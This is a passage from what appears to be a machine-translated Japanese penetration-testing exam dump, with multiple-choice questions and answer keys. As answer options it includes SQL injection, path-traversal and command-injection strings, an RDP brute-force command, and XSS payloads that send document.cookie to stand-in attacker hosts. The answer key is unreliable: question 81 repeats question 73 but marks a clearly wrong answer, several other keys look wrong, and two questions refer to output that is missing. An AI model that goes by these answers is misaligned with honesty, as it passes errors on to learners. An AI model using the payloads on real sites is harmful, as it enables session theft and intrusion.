**C.** iam_bruteforce_permissions
**D.** iam_privesc_scan
**Answer: B (**メーッセージを残す**)**

最新問題: **60**
Pythonの次の式のうち、変数valを1つ増やすものはどれですか（2つ選択してください）。
**A.** val ++
**B.** + val
**C.** val + = 1
**D.** val = （val + 1）
**E.** val = val ++
**F.** ++ val
**Answer: (**解答を表示する**)**

最新問題: **61**
ペネトレーションテスターは、ワイヤレスセキュリティをレビューするために契約されています。テスターは、ターゲットのエンタープライズWiFiの構成を模倣する悪意のあるワイヤレスAP

を展開しました。ペネトレーションテスターは、近くのワイヤレスステーションに悪意のあるAPへの接続を強制しようとしています。テスターは次のどのステップを実行する必要がありますか？
**A.** 認証解除フレームをステーションに送信します。
**B.** すべての2.4GHzおよび5GHzチャネルでジャミングを実行します。
**C.** 動的周波数選択チャネル内でブロードキャストするように悪意のあるAPを設定します。
**D.** 事前共有キーを使用しないように悪意のあるAP構成を変更します。
**Answer: (**解答を表示する**)**
https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax



最新問題**: 62**
ペネトレーションテスターは、エンゲージメントで使用する資格情報を探すために.pcapファイルを受け取りました。
テスターが.pcapファイルを開いて読み取るために使用する必要があるツールは次のうちどれですか？
**A.** Nmap
**B.** Netcat
**C.** Metasploit
**D.** Wireshark
**Answer: D (**メーッセージを残す**)**

最新問題**: 63**
Webサイトで侵入テストを実行しているテスターは、次の出力を受け取ります。
警告 :mysql_fetch_array（)は、パラメーター1がリソースであると想定しています。ブール値は/var/www/search.phpの62行目にあります。
次のコマンドのうち、Webサイトをさらに攻撃するために使用できるのはどれですか？
**A.** 1 UNION SELECT 1、DATABASE（）3--
**B.** ../../../../../../../../../../etc/passwd
**C.** /var/www/html/index.php; whoami
**D.** <script> var adr ='../evil.php?test=' + escape（document.cookie）; </ script>
**Answer: C (**メーッセージを残す**)**

最新問題: **64**
ユーザーがログインした後、侵入テスターがHTTPプロトコルの状態を制御するために攻撃する必要があるのは、次のうちどれですか？
**A.** パスワードの暗号化
**B.** セッションとCookie
**C.** 公開鍵と秘密鍵
**D.** HTTPS通信
**Answer: (**解答を表示する**)**

最新問題: **65**
次のドキュメントのうち、侵入テスターの特定の活動、成果物、およびスケジュールについて説明しているのはどれですか？
**A.** MOU
**B.** MSA
**C.** SOW
**D.** NDA
**Answer: C (**メーッセージを残す**)**

最新問題: **66**
セキュリティ評価を行っている侵入テスターは、重大な脆弱性がサイバー犯罪者によって積極的に悪用されていることを発見します。テスターは次のうちどれを行う必要がありますか？
**A.** 主要な連絡先に連絡する
**B.** 適切な証拠を収集し、最終レポートに追加します
**C.** 攻撃者を倒してみてください
**D.** すぐに法執行官に電話する
**Answer: A (**メーッセージを残す**)**

最新問題: **67**
ペネトレーションテスターはサーバーに対してスキャンを実行し、次の出力を取得します。
21 / tcp open ftp Microsoft ftpd
| ftp-anon：匿名FTPログインが許可されています（FTPコード230）
| 03-12-20 09:23 AM 331 index.aspx
| ftp-syst：
135 / tcp open msrpc Microsoft Windows RPC
139 / tcp open netbios-ssn Microsoft Windows netbios-ssn
445 / tcp open microsoft-ds Microsoft Windows Server 2012 Std
3389 / tcp open ssl / ms-wbt-server
| rdp-ntlm-info：
| ターゲット名：WEB3
| NetBIOS_Computer_Name：WEB3

| Product_Version :6.3.9600
| _ System_Time :2021-01-15T11 :32 :06 + 00 :00
8443 / tcp open http Microsoft IIS httpd 8.5
| http-メソッド :
| _潜在的に危険な方法 :TRACE
| _http-server-header :Microsoft-IIS / 8.5
| _http-title :IIS Windows Server
次のコマンドシーケンスのうち、侵入テスターがNEXTを試す必要があるのはどれですか？
**A.** curl -X TRACE https://192.168.53.23:8443/index.aspx
**B.** nmap --script vuln -sV 192.168.53.23
**C.** ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
**D.** smbclient \\\\ WEB3 \\ IPC $ -I192.168.53.23-Uゲスト
**E.** ftp 192.168.53.23
**Answer: E (**メーッセージを残す**)**

最新問題**: 68**
ペネトレーションテスターには、192.168.1.0 / 24の範囲の一連のターゲットを攻撃する割り当てが与えられており、アラームと対抗策を可能な限り少なくします。
次のNmapスキャン構文のうち、この目的を最もよく達成するのはどれですか？
**A.** nmap -sV 192.168.1.2/24 -PO
**B.** nmap -sS -O 192.168.1.2/24 -T1
**C.** nmap -sA -v -O 192.168.1.2/24
**D.** nmap -sT -vvv -O 192.168.1.2/24 -PO
**Answer: B (**メーッセージを残す**)**

最新問題**: 69**
ペネトレーションテスターは、銀行の最近のペネトレーションテストで独自の欠陥を悪用しました。テストが完了した後、テスターはエクスプロイトに関する情報を、エクスプロイトされたマシンのIPアドレスとともにオンラインに投稿しました。次の文書のうち、侵入テスターにこの行動の責任を負わせることができるのはどれですか？
**A.** ROE
**B.** SLA
**C.** NDA
**D.** MSA
**Answer: C (**メーッセージを残す**)**

最新問題**: 70**
企業は、クラウドVMがサイバー攻撃に対して脆弱であり、専有データが盗まれる可能性があることを懸念しています。ペネトレーションテスターは、脆弱性が存在することを確認し、クライアン

トのVMのIaaSコンポーネントに偽のVMインスタンスを追加することで脆弱性を悪用します。次のクラウド攻撃のうち、侵入テスターが最も実装した可能性が高いのはどれですか？
**A.** 直接起点
**B.** クロスサイトスクリプティング
**C.** 資格情報の収集
**D.** マルウェアの注入
**Answer: C (**メーッセージを残す**)**

最新問題**: 71**
クライアントは、セキュリティ評価会社がホットサイトに対して侵入テストを実行することを望んでいます。テストの目的は、ビジネスの継続性の中断から保護する防御の有効性を判断することです。このタイプの評価を開始する前に取るべき最も重要なアクションは次のうちどれですか？
**A.** フェイルオーバー環境がクライアントが所有していないリソースに依存しているかどうかを判別します。
**B.** クライアントがSOWに署名していることを確認します。
**C.** クライアントがホットサイトへのネットワークアクセスを許可していることを確認します。
**D.** クライアントとのコミュニケーションおよびエスカレーション手順を確立します。
**Answer: B (**メーッセージを残す**)**

最新問題**: 72**
SCADAデバイスを使用する環境に対して侵入テストを実行すると、次の理由で安全上のリスクが高まります。
**A.** デバイスはより多くの熱を生成し、より多くの電力を消費します。
**B.** デバイスは廃止され、交換できなくなりました。
**C.** プロトコルを理解するのはより困難です。
**D.** デバイスは物理的な世界に影響を与える可能性があります。
**Answer: (**解答を表示する**)**
Wibergによって特定された重要な問題は、Nmapなどのアクティブなネットワークスキャナーを使用すると、SCADAデバイスでポート認識またはサービス検出を試みるときに弱点が生じることです。Wibergは、Nmapなどのアクティブなツールが異常なTCPセグメントデータを使用して検索を試みる可能性があると述べています利用可能なポート。さらに、特定のSCADAデバイスとの大量の接続を開くことができますが、正常に閉じることができません。」また、SCADAおよびICSデバイスは、これらのデバイスの運用セキュリティとエラーまたは予期しないイベントを処理する機能にほとんど注意を払わずに設計および実装されているため、アイドル状態のオープン接続が存在すると、デバイスで処理できないエラーが発生する可能性があります。

最新問題**: 73**
ペネトレーションテスターは、システムで次のコマンドを実行します。

find / -user root -perm -4000 -print 2> / dev / null
テスターが達成しようとしているのは次のうちどれですか？
**A.** 悪用中に作成されたファイルを検索し、それらを/ dev/nullに移動します
**B.** システム上の/rootディレクトリを検索します
**C.** SUIDビットが設定されているファイルを検索する
**D.** /ディレクトリ内のすべてのファイルにSGIDを設定します
**Answer: (**解答を表示する**)**

最新問題**: 74**
新しいクライアントは、クライアントの新しいサービスに対するさまざまなセキュリティ評価のために、侵入テスト会社を1か月間の契約で雇いました。クライアントは、評価が完了した直後に新しいサービスを公開することを期待しており、サービスが公開された後、重大な問題を除いて、すべての調査結果を修正することを計画しています。クライアントは、単純なレポート構造を望んでおり、毎日の調査結果を受け取りたくありません。
ペネトレーションテスターがFIRSTを定義するために最も重要なのは次のうちどれですか？
**A.** 潜在的な誤検知の方法を確立します。
**B.** クライアントが必要とするフォーマットを確立します。
**C.** レポートの優先曜日を設定します。
**D.** リスクのしきい値を設定して、すぐにクライアントにエスカレーションします。
**Answer: B (**メーッセージを残す**)**

最新問題**: 75**
次のWebアプリケーションのセキュリティリスクのうち、OWASP Top 10 v2017の一部であるものはどれですか？ 2つ選択してください。）
**A.** バッファオーバーフロー
**B.** クロスサイトスクリプティング
**C.** 競合状態の攻撃
**D.** ゼロデイ攻撃
**E.** 注入の欠陥
**F.** ランサムウェア攻撃
**Answer: B,E (**メーッセージを残す**)**
説明
A01-注射
A02-壊れた認証
A03-機密データの公開
A04-XXE
A05-壊れたアクセス制御
A06-セキュリティの設定ミス
A07-XSS
A08-安全でないデシリアライズ

A09-既知の脆弱性を持つコンポーネントの使用
A10-不十分なロギングとモニタリング

最新問題: **76**
次のコードが与えられます：
<SCRIPT> var + img = new + Image（）img.src = "http://hacker/%20+ %20document.cookie;</SCRIPT>このタイプを防ぐための最良の方法は次のうちどれですか攻撃しますか？ 2つ選択してください。）
**A.** 入力検証
**B.** Webアプリケーションファイアウォール
**C.** パラメータ化されたクエリ
**D.** セッショントークン
**E.** Base64エンコーディング
**F.** 出力エンコーディング
**Answer: (**解答を表示する**)**



最新問題: **77**
インターネットに直接接続されているIoTデバイスに関連する最も一般的な脆弱性は次のうちどれですか？
**A.** DDoS攻撃に対する感受性
**B.** デフォルトのパスワードの存在
**C.** サポートされていないオペレーティングシステム
**D.** ネットワークに接続できない
**Answer: C (**メーッセージを残す**)**

最新問題: **78**
企業組織との契約を準備する際に、侵入テスト活動を開始する前に完全に開発する必要がある最も重要な項目の1つは次のうちどれですか？
**A.** 作業範囲記述書を明確にします。
**B.** 関係するすべてのサードパーティを特定します。
**C.** クライアントから資産インベントリを取得します。
**D.** すべての利害関係者にインタビューします。

**Answer: (解答を表示する)**

最新問題: **79**
ペネトレーションテスターは、SSHDが実行されているLinuxサーバーで実行を取得するために利用できるCVEを特定したいと考えています。次のうちどれがこのタスクを最もよくサポートしますか？
**A.** ターゲットに対して-sAオプションを設定してnmapを実行します
**B.** ターゲットに対して-Q -p22、および-sCオプションを設定してnmapを実行します
**C.** ターゲットに対して-sVおよび-p22オプションを設定してnmapを実行します
**D.** ターゲットに対して--scriptvulnersオプションを設定してnmapを実行します
**Answer: A (メーッセージを残す)**

最新問題: **80**
ペネトレーションテスターは、クライアントの重要なサーバーに対して脆弱性スキャンを実行し、次のことを発見しました。
次のうち、修復の推奨事項はどれですか？
**A.** パッチ管理計画を実装する
**B.** 各サーバーでアクセス制御を構成します
**C.** ユーザートレーニングプログラムを展開する
**D.** 安全なソフトウェア開発ライフサイクルを活用する
**Answer: (解答を表示する)**

最新問題: **81**
ペネトレーションテスターは、システムで次のコマンドを実行します。
find / -user root -perm -4000 -print 2> / dev / null
テスターが達成しようとしているのは次のうちどれですか？
**A.** /ディレクトリ内のすべてのファイルにSGIDを設定します
**B.** 悪用中に作成されたファイルを検索し、それらを/ dev/nullに移動します
**C.** SUIDビットが設定されているファイルを検索する
**D.** システム上の/rootディレクトリを検索します
**Answer: B (メーッセージを残す)**

最新問題: **82**
ペネトレーションテスターは、1つのエンゲージメントで使用される次のスクリプトを作成しました。
このスクリプトは次のどのアクションを実行しますか？
**A.** 開いているポートを探します。
**B.** 開いているポートをフラッディングしようとします。
**C.** 暗号化されたトンネルを作成します。
**D.** リバースシェルをリッスンします。

**Answer: A (メーッセージを残す)**